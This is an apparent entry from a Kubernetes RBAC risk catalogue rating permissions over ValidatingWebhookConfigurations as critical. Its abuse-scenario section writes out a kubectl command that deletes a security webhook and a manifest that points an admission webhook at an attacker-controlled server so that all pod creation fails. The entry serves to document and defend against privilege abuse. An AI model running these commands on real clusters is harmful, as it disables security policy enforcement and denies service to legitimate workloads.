Overview

FieldValue
ID1044
NameManage ValidatingWebhookConfigurations
Risk CategoryTampering
Risk LevelCritical
Role TypeClusterRole
API Groupsadmissionregistration.k8s.io
Resourcesvalidatingwebhookconfigurations
Risky Verb Combinations[create] · [update] · [patch] · [delete]
TagsDenialOfService Tampering WebhookManipulation

Description

Allows control over ValidatingWebhookConfigurations, which can validate or reject API objects during admission. An attacker can use this to tamper with security policies (e.g., disable a validating webhook that enforces security best practices) or cause denial of service by rejecting legitimate requests.

Abuse Scenarios

  1. Delete a ValidatingWebhookConfiguration that enforces security policies.
kubectl delete validatingwebhookconfiguration <webhook-name>
# Example: kubectl delete validatingwebhookconfiguration pod-security-policy-webhook
  1. Create a ValidatingWebhookConfiguration to block legitimate resource creation (DoS).
kubectl create -f - <<EOF
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
  name: deny-all-pods
webhooks:
- name: deny-all-pods.example.com
  clientConfig:
    url: "https://<malicious-webhook-server>/validate" # Attacker-controlled server that always denies
    caBundle: <base64-encoded-ca-cert>
  rules:
  - operations: ["CREATE"]
    apiGroups: [""]
    apiVersions: ["v1"]
    resources: ["pods"]
  admissionReviewVersions: ["v1", "v1beta1"]
  sideEffects: None
  failurePolicy: Fail # Crucial for DoS
EOF
# Example: kubectl create -f - <<EOF ... EOF